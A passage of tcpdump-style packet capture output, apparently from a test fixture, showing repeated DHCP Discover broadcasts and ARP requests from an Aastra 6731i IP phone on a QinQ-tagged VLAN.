+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51947, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51979, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51983, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51990, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52006, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52037, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52048, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52056, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52072, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52104, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52107, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52115, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52130, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52162, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52167, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52175, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52191, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52223, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52227, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52234, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52250, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52281, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52289, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (6f:6e:02:63:61:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52297, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52312, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52343, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52347, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
